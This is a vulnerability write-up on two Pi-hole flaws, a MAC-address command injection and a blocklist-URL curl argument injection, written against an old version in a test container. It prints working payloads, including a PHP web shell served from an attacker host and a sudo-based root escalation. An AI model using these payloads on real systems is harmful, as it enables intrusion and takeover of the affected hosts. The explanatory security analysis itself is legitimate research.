Pi-hole is a combination of a DNS server and simple web interface used to configure the ad blocker and view statistics. The “Pi” prefix indicates that the software was originally developed for Raspberry Pi – although it can be installed on other hardware as well.
info
The CVE-2020-8816 vulnerability is caused by incorrect sanitization of a MAC address when it’s added to a list. A specially crafted MAC address enables the attacker to inject arbitrary commands into the program call string. The bug affects all Pi-hole versions up to and including 4.3.2.
The CVE-2020-11108 vulnerability allows to upload arbitrary files to the system’s web directory during the update of the Pi-hole’s Gravity script to version 4.4. For instance, the attacker can upload a PHP file containing malicious code. The error exists in the gravity_DownloadBlocklistFromUrl
function located in the gravity.sh file. In addition, this error can be used in combination with the sudo
rule for the user www-data
to escalate privileges to superuser.
The vulnerabilities have been identified by American developer and IS researcher Nick Frichette and Canadian IS researcher François Renaud-Philippon.
Test system
The official Docker container with the Pi-hole distribution is available on GitHub. I will use version 4.3.2 for experiments with the vulnerabilities.
docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2
I run the program, and the admin web interface appears on port 80.
The password will be generated and displayed in the console when you start the container for the first time.
Then I download the admin panel source code from GitHub (ZIP), and the test system is ready.
RCE through MAC address
First of all, I have to examine the source code of the app. To check the possibility of RCE, I search the PHP code for functions enabling me to execute arbitrary code. I use PHPStorm and the following regular expressions.
(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)\s*\(
It’s not perfect but sufficient for a quick search.
As you can see, a bunch of interesting items have been found. Let’s examine them in more detail.
The savesettings.
file contains business logic of the Settings
section; each tab in this section is represented by a separate code branch.
scripts/pi-hole/php/savesettings.php
216: // Process request217: switch ($_POST["field"]) {218: // Set DNS server219: case "DNS":...383: case "API":...548: case "DHCP":
The DHCP tab is of utmost interest: it contains a suspicious call to the exec
function.
scripts/pi-hole/php/savesettings.php
548: case "DHCP":549:550: if(isset($_POST["addstatic"]))551: {552: $mac = $_POST["AddMAC"];553: $ip = $_POST["AddIP"];554: $hostname = $_POST["AddHostname"];...605: exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
As you can see, the pihole
utility is called, and the AddMAC
, AddIP
, and AddHostname
values from the POST request are passed as its command line parameters. Therefore, my first idea is to inject an arbitrary command using &&
or ||
. However, the variables undergo some validations prior to execution. Let’s examine them starting with IP.
scripts/pi-hole/php/savesettings.php
562: if(!validIP($ip) && strlen($ip) > 0)563: {564: $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";565: }
In addition to the two regular expressions, the validation is performed by the filter_var function embedded in PHP with the FILTER_VALIDATE_IP option.
scripts/pi-hole/php/savesettings.php
14: function validIP($address){15: if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) {16: // Test if address contains either `:` or `0` but not 1-9 or a-f17: return false;18: }19: return !filter_var($address, FILTER_VALIDATE_IP) === false;20: }
Too bad, there is no chance to inject arbitrary characters there. What about hostname
?
scripts/pi-hole/php/savesettings.php
567: if(!validDomain($hostname) && strlen($hostname) > 0)568: {569: $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";570: }
Three regular expressions are present there. The first one prohibits any characters, except for digits, a-z
, dot, minus, and underline; others check the string length.
scripts/pi-hole/php/savesettings.php
36: function validDomain($domain_name)37: {38: $validChars = preg_match("/^([_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([a-z\d])*)*$/i", $domain_name);39: $lengthCheck = preg_match("/^.{1,253}$/", $domain_name);40: $labelLengthCheck = preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $domain_name);41: return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label42: }
Again, no way to inject arbitrary characters there.
How about the MAC address?
scripts/pi-hole/php/savesettings.php
556: if(!validMAC($mac))557: {558: $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";559: }
scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)54: {55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)56: return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);57: }
Finally, I am lucky. The regular expression states that the string must contain 6 pairs of English characters and digits that can either be separated by a colon or not. However, the start and end characters are not specified. This means that one occurrence of this regular expression will suffice, and aside from it, I can specify whatever I want.
Still, there is a slight problem here.
scripts/pi-hole/php/savesettings.php
560: $mac = strtoupper($mac);
All letters in the string containing a MAC address are converted to uppercase. As you are aware, commands in Linux are case-sensitive; so, I cannot simply inject an arbitrary command. Fortunately, the shell in Linux is very flexible and it won’t be difficult to bypass this restriction. If the exec
function were using thebash
interpreter to execute commands, then the solution would be very simple: a construct in the $ {
format has been introduced in Bash starting with version 4; it changes the case of letters to lowercase in the value of a variable. But exec
uses /
.
I don’t fall into despair because I have environment variables as well. For instance, the famous $PATH
variable consists of uppercase letters and contains numerous lowercase characters. I add a new entry whose MAC address is 000000000000$PATH
to see the content of this environment variable.
By default, it looks as follows in the container:
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
To avoid assembling the required command from these letters, I use php
because its local functions are case-insensitive. My payload is shown below:
php -r 'exec(strtolower("echo 1 > /tmp/owned"));'
To exclude any character-related problems in long commands, the hex2bin
function can be used instead of strtolower
; but for my payload, it will suffice.
I need the p
, h
, and r
characters. To get them, I am going to use characters that replace and delete substrings. The p
character is in the third position. The A=${
construct removes the first two characters, and the following substring remains in the A
variable:
pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Now I have to remove from it everything except for the first character. For this purpose, I use the P=${
construct.
Time to get h
. It’s in the eighth position; so, I remove the first seven characters with A=${
. Then I leave only the first character in the substring using the above-mentioned H=${
construct.
Finally, I need r
. I remove all characters starting from the first slash and until the first colon plus three characters: A=${
. As a result, I get the following substring:
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Again, I leave only the first character: R=${
.
www
More information on manipulations with strings, including practical examples, can be found in the Bash manual.
Then I put my constructs together:
A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};
Now the $P
, $H
, and $R
variables contain lowercase letters p
, h
, and r
.
Time to create the main payload.
000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));';
I send it as a MAC address and see the owned
file in the /
directory.
The same problem occurs in the function that removes the existing MAC address.
scripts/pi-hole/php/savesettings.php
611: if(isset($_POST["removestatic"]))612: {613: $mac = $_POST["removestatic"];614: if(!validMAC($mac))615: {616: $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";617: }...618: $mac = strtoupper($mac);...622: exec("sudo pihole -a removestaticdhcp ".$mac);
The developers have fixed this bug in version 4.3.3; now the MAC address is filtered using the built-in filter_var
function, Also, a new function, formatMAC
, has been added: it returns only the found substring containing the MAC address.
v4.3.3/scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)54: {55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)56: return !filter_var($mac_addr, FILTER_VALIDATE_MAC) === false;57: }58:59: function formatMAC($mac_addr)60: {61: preg_match("/([0-9a-fA-F]{2}[:]){5}([0-9a-fA-F]{2})/", $mac_addr, $matches);62: if(count($matches) > 0)63: return $matches[0];64: return null;65: }
However, some vulnerable spots still remain in the program.
RCE by adding malicious URL to block list
Let’s get back to the pihole utility. Pihole is a Bash script that performs plenty of operations; for instance, it adds and removes domains from black- and whitelists and downloads domain block lists. The default path to the utility is: /
.
I go to the Blocklist tab in the Settings section.
Using this form, you can add links to domain block lists. The form initially contains some addresses, but I removed them to simplify the testing. When you add an address and click on the Save
button, the PHP script calls pihole.
scripts/pi-hole/php/savesettings.php
701: case "adlists":...722: if(strlen($_POST["newuserlists"]) > 1)723: {724: $domains = array_filter(preg_split('/\r\n|[\r\n]/', $_POST["newuserlists"]));725: foreach($domains as $domain)726: {727: exec("sudo pihole -a adlist add ".escapeshellcmd($domain));728: }729: }
The domain
value from the POST request is transmitted as the command line parameters. This value is written to the file /
. To see the script execution details, enable the -x
flag in the bash
interpreter.
bash -x pihole -a adlist add http://ya.ru
First of all, the parameters are parsed.
pihole
443: case "${1}" in...463: "-a" | "admin" ) webpageFunc "$@";;
Because the -a
key was sent, webpageFunc
is called.
pihole
27: webpageFunc() {28: source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"29: main "$@"30: exit 031: }
At this point, the execution is transferred to the main
function and then to CustomizeAdLists
because the adlist
argument was specified.
advanced/Scripts/webpage.sh
567: main() {568: args=("$@")...594: "adlist" ) CustomizeAdLists;;
Depending on the action type, the transmitted domain can be enabled, disabled, removed, or added to the list in CustomizeAdLists
; then the block list is loaded from `CustomizeAdLists.
advanced/Scripts/webpage.sh
396: CustomizeAdLists() {397: list="/etc/pihole/adlists.list"...403: elif [[ "${args[2]}" == "add" ]]; then404: if [[ $(grep -c "^${args[3]}$" "${list}") -eq 0 ]] ; then405: echo "${args[3]}" >> ${list}
After the execution of pihole
, the result is returned to the PHP script; if you have pressed the Save
button, then the browser will redirect you to the Update
page.
settings.php
36: <?php // Check if ad lists should be updated after saving ...37: if (isset($_POST["submit"])) {38: if ($_POST["submit"] == "saveupdate") {39: // If that is the case -> refresh to the gravity page and start updating immediately40: ?>41: <meta http-equiv="refresh" content="1;url=gravity.php?go">42: <?php }43: } ?>
And this is where the update of the block lists starts.
gravity.php
28: <script src="scripts/pi-hole/js/gravity.js"></script>
scripts/pi-hole/js/gravity.js
59: $(function(){...64: // Do we want to start updating immediately?65: // gravity.php?go66: var searchString = window.location.search.substring(1);67: if(searchString.indexOf("go") !== -1)68: {69: $("#gravityBtn").attr("disabled", true);70: eventsource();71: }
The control passes to the gravity.
script.
scripts/pi-hole/js/gravity.js
07: function eventsource() {...18: var source = new EventSource("scripts/pi-hole/php/gravity.sh.php");
At this point, the pihole
utility is called again.
scripts/pi-hole/php/gravity.sh.php
33: $proc = popen("sudo pihole -g", 'r');34: while (!feof($proc)) {35: echoEvent(fread($proc, 4096));36: }
As the file name (gravity.
) indicates, the script is used as a wrap for gravity.
.
pihole
443: case "${1}" in...452: "-g" | "updateGravity" ) updateGravityFunc "$@";;
The control passes to gravity.
.
pihole
71: updateGravityFunc() {72: "${PI_HOLE_SCRIPT_DIR}"/gravity.sh "$@"73: exit $?74: }
The script is pretty large; if you want to review its execution in detail, use the -x
key.
bash -x /opt/pihole/gravity.sh -g
At some point, the gravity_GetBlocklistUrls
function is called, which is of utmost interest.
gravity.sh
648: gravity_GetBlocklistUrls
The file /
is parsed, and the list of source domains that must be visited to obtain block lists is produced.
gravity.sh
157: gravity_GetBlocklistUrls() {...168: mapfile -t sources <<< "$(grep -v -E "^(#|$)" "${adListFile}" 2> /dev/null)"...170: # Parse source domains from $sources171: mapfile -t sourceDomains <<< "$(172: # Logic: Split by folder/port173: awk -F '[/:]' '{174: # Remove URL protocol & optional username:password@175: gsub(/(.*:\/\/|.*:.*@)/, "", $0)176: if(length($1)>0){print $1}177: else {print "local"}178: }' <<< "$(printf '%s\n' "${sources[@]}")" 2> /dev/null179: )"
Time to configure the settings prior to downloading the block lists. This is done in the gravity_SetDownloadOptions
function.
gravity.sh
649: if [[ "${haveSourceUrls}" == true ]]; then650: gravity_SetDownloadOptions651: fi
gravity.sh
194: gravity_SetDownloadOptions() {195: local url domain agent cmd_ext str...200: for ((i = 0; i < "${#sources[@]}"; i++)); do201: url="${sources[$i]}"202: domain="${sourceDomains[$i]}"
The block lists are downloaded when the gravity_DownloadBlocklistFromUrl
function is called.
gravity.sh
217: if [[ "${skipDownload}" == false ]]; then218: echo -e " ${INFO} Target: ${domain} (${url##*/})"219: gravity_DownloadBlocklistFromUrl "${url}" "${cmd_ext}" "${agent}"220: echo ""221: fi
The download is performed using curl
.
gravity.sh
227: gravity_DownloadBlocklistFromUrl() {228: local url="${1}" cmd_ext="${2}" agent="${3}" heisenbergCompensator="" patternBuffer str httpCode success=""...274: cmd_ext="--resolve $domain:$port:$ip $cmd_ext"...277: httpCode=$(curl -s -L ${cmd_ext} ${heisenbergCompensator} -w "%{http_code}" -A "${agent}" "${url}" -o "${patternBuffer}" 2> /dev/null)
This piece of code deserves special attention. Let’s examine the curl
command in more detail. After being cleared from all extra elements, the command looks as follows:
curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"
As you can see, the cmd_ext
and heisenbergCompensator
variables aren’t surrounded by quotation marks; therefore, it’s potentially possible to inject something there. The heisenbergCompensator
variable is formed from saveLocation
.
info
A cultural reference: this variable is named after the Heisenberg Compensator, a fictitious device able to overcome the Uncertainty Principle. It is mentioned in Star Trek: Deep Space Nine as a component of the teleportation system.
gravity.sh
234: if [[ -r "${saveLocation}" && $url != "file"* ]]; then...238: heisenbergCompensator="-z ${saveLocation}"239: fi
saveLocation
is initialized in the gravity_SetDownloadOptions
function.
gravity.sh
194: gravity_SetDownloadOptions() {...201: url="${sources[$i]}"202: domain="${sourceDomains[$i]}"...205: saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"206: activeDomains[$i]="${saveLocation}"
As you can see, here is a variable that can be controlled: domain
. Now let’s get back to the savesettings.
file where the domain block list is created.
scripts/pi-hole/php/savesettings.php
722: if(strlen($_POST["newuserlists"]) > 1)723: {724: $domains = array_filter(preg_split('/\r\n|[\r\n]/', $_POST["newuserlists"]));725: foreach($domains as $domain)726: {727: exec("sudo pihole -a adlist add ".escapeshellcmd($domain));728: }729: }
Note that the correctness of the transmitted domain name is not verified. Only the escapeshellcmd function is present: it escapes any characters in a string that might be used to trick a shell command into executing arbitrary code. In other words, I potentially can transmit a string with spaces and additional arguments for curl
as a domain.
Curl
has several keys that can be exploited. In this case, -o
will be very useful as it allows to save the entire output in a file. But the command already includes the flag -o
. Fortunately, curl
is OK with the second flag: the command will give priority to the first flag it encounters. Therefore, the command curl
will write only the first
string to the file.
The procedure used to add data from url
to the block list is as follows. When gravity.
is run for the first time, the script checks whether a file with the name from the saveLocation
variable exists. For instance, if I add http://
, the file name will be list.
.
Then curl
is executed and saves the data retrieved from this URL to a temporary file.
++ curl -s -L -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru -o /tmp/tmp.YRfmrUcFcb.phgpb
If the server responds 200
(Ok), then the data are sent to the gravity_ParseFileIntoDomains
function.
gravity.sh
277: httpCode=$(curl -s -L ${cmd_ext} ${heisenbergCompensator} -w "%{http_code}" -A "${agent}" "${url}" -o "${patternBuffer}" 2> /dev/null)...290: case "${httpCode}" in291: "200") echo -e "${OVER} ${TICK} ${str} Retrieval successful"; success=true;;...307: if [[ "${success}" == true ]]; then...313: gravity_ParseFileIntoDomains "${patternBuffer}" "${saveLocation}"
The temporary file gets a new name that is taken from the saveLocation
variable.
gravity.sh
329: gravity_ParseFileIntoDomains() {330: local source="${1}" destination="${2}" firstLine abpFilter...381: output=$( { mv "${source}" "${destination}"; } 2>&1 )
After the script execution, the file appears in the /
directory.
I run the gravity.
script again. Now that the file exists, heisenbergCompensator
and the -z flag are added to curl
.
heisenbergCompensator='-z /etc/pihole/list.0.ya.ru.domains'
As a result, curl
is called as follows:
curl -s -L -z /etc/pihole/list.0.ya.ru.domains -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru -o /tmp/tmp.EbjhVz4huF.phgpb
Now I have to create a correct payload. I will also need a server to return 200
and the code I want to execute. So, I write a simple shell in PHP.
shell.php
<?phpecho system($_GET["c"]);
Then I deploy a server that will return this shell in response to any request. I use http.server for this purpose.
serv.py
01: import http.server02: import socketserver03: import sys04:05: class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):06: def do_GET(self):07: self.path = 'shell.php'08: return http.server.SimpleHTTPRequestHandler.do_GET(self)09:10: handler_object = MyHttpRequestHandler11: my_server = socketserver.TCPServer(("192.168.99.1", 80), handler_object)12: try:13: print("Server started.")14: my_server.serve_forever()15: except KeyboardInterrupt:16: print("Shutting down...")17: my_server.socket.close()18: sys.exit(0)19:
In addition, curl
must make requests to the server and ignore other parameters that I am going to add for exploitation purposes. The #
character will help me in this.
http://192.168.99.1#
I set the -o
flag and specify the file name as a parameter.
http://192.168.99.1# -o shell.php
Then I add this string as an URL.
I see that my request was received by the server, the file has been successfully created, and it contains the payload. Fortunately, the file name format in Linux is very flexible, and such a string won’t create any problems.
I run Gravity again.
My arguments have been added; however, the .
substring in the file extension creates problems. I have to get rid of it somehow.
curl -s -L -z /etc/pihole/list.0.192.168.99.1# -o shell.php.domains -w '%{http_code}' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' 'http://192.168.99.1# -o shell.php' -o /tmp/tmp.cjh4aohrRE.phgpb
Curl
has plenty of flags; so, I have several variants to choose from. The easiest way is to add another -z
flag – so that .
will be used as a time marker. Of course, this marker will be incorrect, but this is not important for my purposes.
http://192.168.99.1# -o shell.php -z
I transmit my payload as an URL and get a shell on the server.
It works fine in the console, but to add this payload as an URL in a web form, additional quotation marks are required.
http://192.168.99.1#" -o shell.php -z"
The quotation marks are required for the pihole script that must treat my payload as a single parameter, not multiple parameters; they will be removed during the addition of the URL. After a successful exploitation, the shell will be located at the following address: http://
.
Privilege escalation to root
As you remember, I used sudo to call the pihole utility in PHP. Too bad, the user www-data
cannot use sudo without the password.
After examining the scripts for some time, I stumble upon the Teleporter
function located in the file webpage.
.
advanced/Scripts/webpage.sh
540: Teleporter() {541: local datetimestamp=$(date "+%Y-%m-%d_%H-%M-%S")542: php /var/www/html/admin/scripts/pi-hole/php/teleporter.php > "pi-hole-teleporter_${datetimestamp}.tar.gz"543: }...567: main() {568: args=("$@")569:570: case "${args[1]}" in...593: "-t" | "teleporter" ) Teleporter;;
This function is called from pihole when the -a
flag is set.
pihole
027: webpageFunc() {028: source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"029: main "$@"030: exit 0031: }...443: case "${1}" in...463: "-a" | "admin" ) webpageFunc "$@";;
It gives me an easy way to escalate my privileges! Using the previous exploit, I overwrite the teleporter.
file, add the required commands to it, and call it using the sudo
command.
teleporter.php
1: <?php2: system('id > id.txt');
Semiautomated versions of the exploits are available in the Nick Frichette’s repository.
Vulnerability demonstration (video)
Conclusions
Too bad, but such severe problems often occur even in major commercial projects. Of course, to successfully exploit these vulnerabilities, you have to be an authorized user – but I have no doubt that an XSS or CSRF making it possible to gain control over the system in one click can be found online.
If you use Pi-hole, check for updates on a regular basis and always use the latest distribution. Unfortunately, the program does not update itself automatically, but a special panel on the page footer notifies you when new versions become available.
A few months ago, a major update, version 5.0, has been released. Hopefully, it makes Pi-hole a secure program.